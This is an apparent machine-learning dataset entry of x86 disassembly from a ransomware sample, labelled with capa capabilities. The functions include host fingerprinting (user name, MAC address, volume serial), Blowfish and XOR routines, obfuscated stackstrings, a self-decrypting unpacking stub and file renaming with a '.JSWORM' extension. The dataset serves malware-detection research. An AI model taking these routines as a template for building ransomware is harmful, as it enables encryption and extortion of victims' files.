joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403fb1
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x19c
mov eax, dword [0x458068]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x10c]
mov dword [ebp - 0x10c], 0x100
push eax
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x16c]
call fcn.004015ba
lea eax, [ebp - 0x16c]
push eax
lea ecx, [ebp - 0x154]
call fcn.0040695a
push eax
lea ecx, [ebp - 0x19c]
call fcn.00406eb2
mov edx, eax
lea ecx, [ebp - 0x184]
call fcn.00405b6f
pop ecx
mov edx, eax
lea ecx, [ebp - 0x124]
call fcn.00405b6f
pop ecx
lea ecx, [ebp - 0x184]
call fcn.00401665
lea ecx, [ebp - 0x19c]
call fcn.00401665
lea ecx, [ebp - 0x154]
call fcn.00401665
lea ecx, [ebp - 0x16c]
call fcn.00401665
sub esp, 0x18
lea eax, [ebp - 0x124]
mov ecx, esp
xor esi, esi
push eax
mov dword [ecx + 0x10], esi
mov dword [ecx + 0x14], esi
call fcn.004053f6
lea ecx, [ebp - 0x13c]
call fcn.0040728b
cmp dword [ebp - 0x110], 0x10
lea ecx, [ebp - 0x124]
mov eax, dword [ebp - 0x114]
cmovae ecx, dword [ebp - 0x124]
add eax, ecx
cmp dword [ebp - 0x110], 0x10
lea ecx, [ebp - 0x124]
cmovae ecx, dword [ebp - 0x124]
sub eax, ecx
push eax
push ecx
push 0x48c1f0
call fcn.00421f80
add esp, 0xc
lea eax, [ebp - 0x13c]
mov ecx, esp
push eax
mov dword [ecx + 0x10], esi
mov dword [ecx + 0x14], esi
call fcn.004053f6
lea ecx, [ebp - 0x154]
call fcn.004070de
add esp, 0x18
mov ecx, 0x458a90
push eax
call fcn.004045c5
lea ecx, [ebp - 0x154]
call fcn.00401665
lea ecx, [ebp - 0x13c]
call fcn.00401665
lea ecx, [ebp - 0x124]
call fcn.00401665
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0040b584
leave
ret
Function at 0x404925
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0x38], 0
je 0x40494c
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00404f85
jmp 0x404a01
mov eax, dword [ebx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x18], esi
mov eax, dword [eax]
mov dword [esp + 0x1c], edi
mov dword [esp + 0x14], eax
test eax, eax
je 0x40496e
mov eax, dword [ebx + 0x30]
mov eax, dword [eax]
jmp 0x404970
xor eax, eax
cdq
mov dword [esp + 0xc], eax
mov ecx, edx
mov dword [esp + 0x10], ecx
test edi, edi
jl 0x4049f5
jg 0x404985
test esi, esi
je 0x4049f5
test ecx, ecx
jl 0x4049ce
jg 0x40498f
test eax, eax
je 0x4049ce
cmp edi, ecx
jg 0x4049a3
jl 0x404999
cmp esi, eax
jae 0x4049a3
mov eax, esi
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], edi
push eax
push dword [ebp + 8]
push dword [esp + 0x1c]
call fcn.00422500
mov ecx, dword [esp + 0x18]
add esp, 0xc
mov edx, dword [ebp + 8]
mov eax, dword [ebx + 0x30]
add edx, ecx
sub esi, ecx
sbb edi, dword [esp + 0x10]
sub dword [eax], ecx
mov eax, dword [ebx + 0x20]
add dword [eax], ecx
jmp 0x4049d1
mov edx, dword [ebp + 8]
test edi, edi
jl 0x4049f5
jg 0x4049db
test esi, esi
je 0x4049f5
cmp dword [ebx + 0x4c], 0
je 0x4049f5
push dword [ebx + 0x4c]
push esi
push 1
push edx
call fcn.00426f8d
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x404a0a
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
push esi
push edi
mov edi, ecx
cmp dword [edi + 0x38], 0
je 0x404a31
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040504c
jmp 0x404b00
mov eax, dword [edi + 0x1c]
mov esi, dword [ebp + 0xc]
mov ebx, dword [ebp + 0x10]
mov dword [esp + 0x18], esi
mov eax, dword [eax]
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x14], eax
test eax, eax
je 0x404a53
mov eax, dword [edi + 0x2c]
mov eax, dword [eax]
jmp 0x404a55
xor eax, eax
cdq
mov dword [esp + 0xc], eax
mov ecx, edx
mov dword [esp + 0x10], ecx
test ebx, ebx
jl 0x404af4
jg 0x404a72
test esi, esi
je 0x404af4
test ecx, ecx
jl 0x404abf
jg 0x404a7c
test eax, eax
je 0x404abf
cmp ebx, ecx
jg 0x404a90
jl 0x404a86
cmp esi, eax
jae 0x404a90
mov eax, esi
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], ebx
push eax
push dword [esp + 0x18]
push dword [ebp + 8]
call fcn.00422500
mov ecx, dword [esp + 0x18]
add esp, 0xc
mov edx, dword [ebp + 8]
mov eax, dword [edi + 0x2c]
add edx, ecx
sub esi, ecx
mov dword [esp + 0xc], edx
sbb ebx, dword [esp + 0x10]
sub dword [eax], ecx
mov eax, dword [edi + 0x1c]
add dword [eax], ecx
jmp 0x404ac6
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
test ebx, ebx
jl 0x404af4
jg 0x404ad0
test esi, esi
je 0x404af4
cmp dword [edi + 0x4c], 0
je 0x404af4
mov ecx, edi
call fcn.00405469
push dword [edi + 0x4c]
push esi
push 1
push dword [esp + 0x18]
call fcn.00427592
add esp, 0x10
sub esi, eax
sbb ebx, 0
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
sub eax, esi
sbb edx, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x404da1
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x458068]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
or edi, 0xffffffff
mov esi, ecx
cmp ebx, edi
jne 0x404dc7
xor eax, eax
jmp 0x404e8c
mov eax, dword [esi + 0x20]
mov ecx, dword [eax]
test ecx, ecx
je 0x404df0
mov edx, dword [esi + 0x30]
mov eax, dword [edx]
add eax, ecx
cmp ecx, eax
jae 0x404df0
dec dword [edx]
mov eax, ebx
mov edx, dword [esi + 0x20]
mov esi, dword [edx]
lea ecx, [esi + 1]
mov dword [edx], ecx
mov byte [esi], bl
jmp 0x404e8c
cmp dword [esi + 0x4c], 0
je 0x404e8a
mov ecx, esi
call fcn.00405469
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x404e1d
push dword [esi + 0x4c]
movsx eax, bl
push eax
call fcn.0042654d
cmp eax, edi
pop ecx
pop ecx
cmovne edi, ebx
jmp 0x404e8a
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x25], bl
mov edx, dword [ecx]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x25]
push eax
lea eax, [esi + 0x40]
push eax
call dword [edx + 0x1c]
test eax, eax
js 0x404e8a
cmp eax, 1
jle 0x404e59
cmp eax, 3
jne 0x404e8a
push dword [esi + 0x4c]
movsx ecx, byte [ebp - 0x25]
push ecx
jmp 0x404e0f
mov eax, dword [ebp - 0x2c]
lea ecx, [ebp - 0x24]
sub eax, ecx
mov dword [ebp - 0x34], eax
je 0x404e7c
push dword [esi + 0x4c]
push eax
mov eax, ecx
push 1
push eax
call fcn.00426f8d
add esp, 0x10
cmp dword [ebp - 0x34], eax
jne 0x404e8a
lea eax, [ebp - 0x25]
mov byte [esi + 0x3d], 1
cmp dword [ebp - 0x30], eax
mov eax, ebx
jne 0x404e8c
mov eax, edi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040b584
leave
ret 4

Function at 0x4054f1
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x458068]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
push edi
cmp dword [esi + 0x38], 0
je 0x405573
cmp byte [esi + 0x3d], 0
je 0x405573
mov eax, dword [esi]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x405545
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
mov edx, dword [ecx]
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x405549
sub eax, 1
je 0x40554d
dec eax
sub eax, 1
je 0x405573
xor al, al
jmp 0x405575
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x40556a
push dword [esi + 0x4c]
push edi
push 1
push eax
call fcn.00426f8d
add esp, 0x10
cmp edi, eax
jne 0x405545
cmp byte [esi + 0x3d], 0
sete al
jmp 0x405575
mov al, 1
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0040b584
leave
ret
Function at 0x406623
Capabilities:
Encrypt data using blowfish

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
and dword [ebp - 4], 0
and dword [ebp - 8], 0
push ebx
push esi
push edi
mov esi, ecx
mov ecx, sym.build_MUI.exe_unsigned_int_const____const__256__CBLOWFISH::SBox
push 4
pop edi
mov dword [ebp - 0x1c], esi
lea edx, [esi + 0x50]
mov dword [ebp - 0x10], edi
mov ebx, 0x100
mov eax, dword [ecx]
add ecx, edi
mov dword [edx], eax
add edx, edi
sub ebx, 1
jne 0x40664c
cmp ecx, 0x451c48
jl 0x406647
lea ebx, [esi + 8]
xor edx, edx
mov ecx, sym.build_MUI.exe_unsigned_int_const__const_const_CBLOWFISH::PBox
mov dword [ebp - 0xc], ebx
mov eax, dword [esi + 4]
and dword [ebp - 0x14], 0
mov ebx, dword [esi]
mov esi, edi
mov edi, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
movzx eax, byte [ebx + edx]
shl edi, 8
or edi, eax
lea eax, [edx + 1]
xor edx, edx
cmp eax, dword [ebp - 0x18]
cmovl edx, eax
sub esi, 1
jne 0x40667f
mov eax, dword [ecx]
mov ebx, dword [ebp - 0xc]
xor eax, edi
mov esi, dword [ebp - 0x1c]
push 4
pop edi
mov dword [ebx], eax
add ecx, edi
add ebx, edi
mov dword [ebp - 0xc], ebx
cmp ecx, sym.build_MUI.exe_unsigned_int_const____const__256__CBLOWFISH::SBox
jl 0x40666e
push 9
lea ebx, [esi + 0xc]
pop edi
lea eax, [ebp - 8]
mov ecx, esi
push eax
lea eax, [ebp - 4]
push eax
call sym.build_MUI.exe_private:_void___thiscall_CBLOWFISH::BlowFishRoundEncrypt_unsigned_int___unsigned_int__
mov eax, dword [ebp - 4]
mov dword [ebx - 4], eax
mov eax, dword [ebp - 8]
mov dword [ebx], eax
lea ebx, [ebx + 8]
sub edi, 1
jne 0x4066bc
lea ebx, [esi + 0x54]
mov edi, 0x80
lea eax, [ebp - 8]
mov ecx, esi
push eax
lea eax, [ebp - 4]
push eax
call sym.build_MUI.exe_private:_void___thiscall_CBLOWFISH::BlowFishRoundEncrypt_unsigned_int___unsigned_int__
mov eax, dword [ebp - 4]
mov dword [ebx - 4], eax
mov eax, dword [ebp - 8]
mov dword [ebx], eax
add ebx, 8
sub edi, 1
jne 0x4066e6
sub dword [ebp - 0x10], 1
jne 0x4066e1
pop edi
pop esi
pop ebx
leave
ret

Function at 0x406713
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov eax, dword [eax]
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0x10
mov ebx, dword [edi]
lea edi, [esi + 8]
xor ebx, dword [edi]
lea edi, [edi + 4]
mov eax, ebx
mov dword [ebp - 0xc], ebx
shr eax, 0x10
mov ecx, ebx
movzx eax, al
shr ecx, 0x18
mov edx, dword [esi + eax*4 + 0x450]
mov eax, ebx
add edx, dword [esi + ecx*4 + 0x50]
mov ecx, dword [ebp - 0xc]
shr eax, 8
movzx eax, al
xor edx, dword [esi + eax*4 + 0x850]
movzx eax, bl
add edx, dword [esi + eax*4 + 0xc50]
xor edx, dword [ebp - 4]
sub dword [ebp - 8], 1
mov ebx, edx
mov dword [ebp - 4], ecx
jne 0x406735
mov eax, dword [esi + 0x4c]
mov edi, dword [ebp + 8]
xor eax, ecx
mov ecx, dword [ebp + 0xc]
mov dword [edi], eax
mov eax, dword [esi + 0x48]
pop edi
xor eax, ebx
pop esi
mov dword [ecx], eax
pop ebx
leave
ret 8
Function at 0x40679a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov eax, dword [eax]
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0x10
mov ebx, dword [edi]
lea edi, [esi + 0x4c]
xor ebx, dword [edi]
lea edi, [edi - 4]
mov eax, ebx
mov dword [ebp - 0xc], ebx
shr eax, 0x10
mov ecx, ebx
movzx eax, al
shr ecx, 0x18
mov edx, dword [esi + eax*4 + 0x450]
mov eax, ebx
add edx, dword [esi + ecx*4 + 0x50]
mov ecx, dword [ebp - 0xc]
shr eax, 8
movzx eax, al
xor edx, dword [esi + eax*4 + 0x850]
movzx eax, bl
add edx, dword [esi + eax*4 + 0xc50]
xor edx, dword [ebp - 4]
sub dword [ebp - 8], 1
mov ebx, edx
mov dword [ebp - 4], ecx
jne 0x4067bc
mov eax, dword [esi + 8]
mov edi, dword [ebp + 8]
xor eax, ecx
mov ecx, dword [ebp + 0xc]
mov dword [edi], eax
mov eax, dword [esi + 0xc]
pop edi
xor eax, ebx
pop esi
mov dword [ecx], eax
pop ebx
leave
ret 8

Function at 0x40695a
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x458068]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0x11
mov ebx, ecx
mov dword [ebp - 8], 4
call fcn.004292f6
mov dword [ebp - 0xc], eax
mov dword [esp], 0x288
call fcn.004292f6
mov esi, eax
lea eax, [ebp - 8]
pop ecx
push eax
push esi
call dword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
cmp eax, 0x6f
jne 0x4069a9
push dword [ebp - 8]
call fcn.004292f6
pop ecx
mov esi, eax
lea eax, [ebp - 8]
push eax
push esi
call dword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
test eax, eax
jne 0x406a05
movzx eax, byte [esi + 0x199]
movzx ecx, byte [esi + 0x194]
push eax
movzx eax, byte [esi + 0x198]
push eax
movzx eax, byte [esi + 0x197]
push eax
movzx eax, byte [esi + 0x196]
push eax
movzx eax, byte [esi + 0x195]
mov esi, dword [ebp - 0xc]
push eax
push ecx
push str._02X:_02X:_02X:_02X:_02X:_02X
push esi
call fcn.00406927
add esp, 0x20
mov ecx, ebx
push esi
call fcn.004015ba
mov eax, ebx
jmp 0x406a0c
push esi
call fcn.004271ef
pop ecx
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.0040b584
leave
ret
Function at 0x406bc0
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb0
mov eax, dword [0x458068]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edx, 0x48c308
lea ecx, [ebp - 0x94]
call fcn.00406a89
push eax
push str.._ID_
lea edx, [ebp + 8]
lea ecx, [ebp - 0x7c]
call fcn.00405bb8
pop ecx
mov edx, eax
lea ecx, [ebp - 0x64]
call fcn.00408a66
mov edi, 0x451d4c
mov esi, eax
push edi
call fcn.0042603d
pop ecx
pop ecx
push eax
push edi
mov ecx, esi
call fcn.00401b40
push eax
lea ecx, [ebp - 0x34]
call fcn.004019d3
mov edx, 0x48c338
lea ecx, [ebp - 0xac]
call fcn.00406a89
push eax
lea edx, [ebp - 0x34]
lea ecx, [ebp - 0x4c]
call fcn.00408a66
mov edi, str._.JSWORM
mov esi, eax
push edi
call fcn.0042603d
pop ecx
pop ecx
push eax
push edi
mov ecx, esi
call fcn.00401b40
push eax
lea ecx, [ebp - 0x1c]
call fcn.004019d3
lea ecx, [ebp - 0x4c]
call fcn.004015e9
lea ecx, [ebp - 0x34]
call fcn.004015e9
lea ecx, [ebp - 0x64]
call fcn.004015e9
lea ecx, [ebp - 0x7c]
call fcn.004015e9
lea ecx, [ebp - 0x94]
call fcn.004015e9
lea ecx, [ebp - 0xac]
call fcn.004015e9
cmp dword [ebp - 8], 8
lea ecx, [ebp - 0x1c]
lea eax, [ebp + 8]
cmovae ecx, dword [ebp - 0x1c]
cmp dword [ebp + 0x1c], 8
push ecx
cmovae eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
lea ecx, [ebp - 0x1c]
call fcn.004015e9
lea ecx, [ebp + 8]
call fcn.004015e9
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0040b584
leave
ret
Function at 0x406eb2
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2d8
mov eax, dword [0x458068]
xor eax, esp
mov dword [esp + 0x2d4], eax
push ebx
push esi
mov esi, ecx
lea eax, [esp + 0xc8]
mov ecx, 0x104
push ecx
push eax
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x1c]
push eax
push ecx
lea eax, [esp + 0x1e8]
push eax
push 0x451d60
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push 0xb0
xor ebx, ebx
lea eax, [esp + 0x1c]
push ebx
push eax
call fcn.00423ad0
add esp, 8
mov dword [esp + 0x1c], 0x450b50
lea eax, [esp + 0x34]
mov dword [esp + 0x2c], 0x451c98
lea ecx, [esp + 0x1c]
mov dword [esp + 0x84], vtable.std::basic_ios_char__struct_std::char_traits_char__.0
push eax
call fcn.00405689
mov eax, dword [esp + 0x18]
mov eax, dword [eax + 4]
mov dword [esp + eax + 0x18], vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov eax, dword [esp + 0x18]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [esp + ecx + 0x14], eax
lea ecx, [esp + 0x30]
call fcn.00405740
push dword [esp + 0xc]
lea ecx, [esp + 0x2c]
mov dword [esp + 0x34], vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov dword [esp + 0x6c], ebx
mov dword [esp + 0x70], ebx
call fcn.00407841
test byte [esp + 0x6c], 2
mov dword [esi + 0x10], ebx
mov dword [esi + 0x14], 0xf
mov byte [esi], bl
jne 0x406fb3
mov eax, dword [esp + 0x50]
mov ecx, dword [eax]
test ecx, ecx
je 0x406fb3
mov eax, dword [esp + 0x40]
cmp ecx, dword [esp + 0x68]
cmovb ecx, dword [esp + 0x68]
sub ecx, dword [eax]
push ecx
push dword [eax]
jmp 0x406fd6
test byte [esp + 0x6c], 4
jne 0x406fdd
mov eax, dword [esp + 0x4c]
mov edx, dword [eax]
test edx, edx
je 0x406fdd
mov eax, dword [esp + 0x3c]
mov ecx, dword [eax]
mov eax, dword [esp + 0x5c]
mov eax, dword [eax]
sub eax, ecx
add eax, edx
push eax
push ecx
mov ecx, esi
call fcn.0040168b
lea ecx, [esp + 0x80]
call fcn.00407331
lea eax, [esp + 0x80]
mov dword [esp + 0x80], vtable.std::ios_base.0
push eax
call fcn.00409ea9
pop ecx
mov ecx, dword [esp + 0x2dc]
mov eax, esi
pop esi
pop ebx
xor ecx, esp
call fcn.0040b584
mov esp, ebp
pop ebp
ret
Function at 0x4070de
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0x18]
xor edx, edx
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 8], eax
mov edi, ecx
add eax, 2
push ebx
push 3
pop ecx
div ecx
mov dword [edi + 0x10], ebx
mov ecx, edi
shl eax, 2
mov dword [edi + 0x14], 0xf
push eax
mov dword [ebp - 4], edi
mov byte [edi], bl
call fcn.00408012
cmp dword [edi + 0x14], 0x10
mov esi, edi
jb 0x407120
mov esi, dword [edi]
mov ecx, dword [ebp - 8]
lea eax, [ecx - 2]
test eax, eax
je 0x4071d9
mov edi, eax
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
lea edx, [ebp + 8]
cmovae eax, dword [ebp + 8]
movzx eax, byte [eax + ebx]
shr eax, 2
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_false]
mov byte [esi], al
lea eax, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
cmovae eax, dword [ebp + 8]
cmovae edx, dword [ebp + 8]
movzx ecx, byte [eax + ebx + 1]
movsx eax, byte [edx + ebx]
lea edx, [ebp + 8]
and eax, 3
shr ecx, 4
shl eax, 4
or ecx, eax
mov al, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_false]
mov byte [esi + 1], al
lea eax, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
cmovae eax, dword [ebp + 8]
cmovae edx, dword [ebp + 8]
movzx ecx, byte [eax + ebx + 2]
movsx eax, byte [edx + ebx + 1]
and eax, 0xf
shr ecx, 6
shl eax, 2
or ecx, eax
mov al, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_false]
mov byte [esi + 2], al
lea eax, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
cmovae eax, dword [ebp + 8]
movsx eax, byte [eax + ebx + 2]
add ebx, 3
and eax, 0x3f
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_false]
mov byte [esi + 3], al
add esi, 4
cmp ebx, edi
jb 0x407130
mov edi, dword [ebp - 4]
mov ecx, dword [ebp - 8]
mov dword [ebp - 4], esi
cmp ebx, ecx
jae 0x40727c
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
movzx eax, byte [eax + ebx]
shr eax, 2
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_false]
mov byte [esi], al
lea eax, [ecx - 1]
cmp ebx, eax
lea eax, [ebp + 8]
jne 0x40722a
cmp dword [ebp + 0x1c], 0x10
cmovae eax, dword [ebp + 8]
movsx eax, byte [eax + ebx]
and eax, 3
shl eax, 4
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_false]
mov byte [esi + 1], al
mov al, 0x3d
add esi, 2
jmp 0x407276
cmp dword [ebp + 0x1c], 0x10
lea edx, [ebp + 8]
cmovae eax, dword [ebp + 8]
cmovae edx, dword [ebp + 8]
movzx ecx, byte [eax + ebx + 1]
movsx eax, byte [edx + ebx]
and eax, 3
shr ecx, 4
shl eax, 4
or ecx, eax
mov al, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_false]
mov byte [esi + 1], al
lea eax, [ebp + 8]
mov esi, dword [ebp - 4]
add esi, 2
cmp dword [ebp + 0x1c], 0x10
cmovae eax, dword [ebp + 8]
movsx eax, byte [eax + ebx + 1]
and eax, 0xf
mov al, byte [eax*4 + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_false]
mov byte [esi], al
mov byte [esi + 1], 0x3d
lea ecx, [ebp + 8]
call fcn.00401665
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40728b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
mov esi, ecx
mov dword [ebp - 0xc], 0x4b51434b
push edi
lea eax, [ebp + 8]
mov dword [ebp - 8], 0x434b5143
xor edi, edi
mov dword [ebp - 4], 0x51434b51
push eax
mov dword [esi + 0x10], edi
mov dword [esi + 0x14], edi
call fcn.004053f6
cmp dword [ebp + 0x18], edi
jbe 0x4072f7
push ebx
cmp dword [ebp + 0x1c], 0x10
lea ebx, [ebp + 8]
mov dword [ebp - 0x10], esi
cmovae ebx, dword [ebp + 8]
cmp dword [esi + 0x14], 0x10
jb 0x4072da
mov eax, dword [esi]
mov dword [ebp - 0x10], eax
xor edx, edx
mov eax, edi
push 0xc
pop ecx
div ecx
mov eax, dword [ebp - 0x10]
mov cl, byte [ebp + edx - 0xc]
xor cl, byte [ebx + edi]
mov byte [eax + edi], cl
inc edi
cmp edi, dword [ebp + 0x18]
jb 0x4072c1
pop ebx
lea ecx, [ebp + 8]
call fcn.00401665
pop edi
mov eax, esi
pop esi
leave
ret

Function at 0x40e077
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret

Function at 0x42f5e3
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0042f459
Function at 0x4068b8
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x4068dc
xor eax, eax
test eax, eax
je 0x4068ef
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x4068ef
xor ecx, ecx
jmp 0x4068f2
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x406a15
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x7a5dec], 0
push esi
jne 0x406a4c
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406a26
mov dword [ecx*4 + 0x7a5de8], eax
inc ecx
cmp ecx, 0x100
jl 0x406a21
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406a7d
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x7a5de8]
xor eax, esi
inc ecx
dec edx
jne 0x406a5f
pop edi
not eax
pop esi
ret 0xc

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x404300
Capabilities:
Decompress data using aplib

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
cld
mov dl, 0x80
xor ebx, ebx
movsb byte es:[edi], byte [esi]
mov bl, 2
call fcn.0040438f
jae 0x40430e
xor ecx, ecx
call fcn.0040438f
jae 0x40433d
xor eax, eax
call fcn.0040438f
jae 0x40434d
mov bl, 2
inc ecx
mov al, 0x10
call fcn.0040438f
adc al, al
jae 0x40432f
jne 0x404379
stosb byte es:[edi], al
jmp 0x404311
call fcn.0040439b
sub ecx, ebx
jne 0x404356
call fcn.00404399
jmp 0x404375
lodsb al, byte [esi]
shr eax, 1
je 0x404383
adc ecx, ecx
jmp 0x404372
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
call fcn.00404399
cmp eax, 0x7d00
jae 0x404372
cmp ah, 5
jae 0x404373
cmp eax, 0x7f
ja 0x404374
inc ecx
inc ecx
xchg ebp, eax
mov eax, ebp
mov bl, 1
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x404311
sub edi, dword [esp + 0x28]
mov dword [esp + 0x1c], edi
popal
ret 8

Function at 0x403d61
Capabilities:
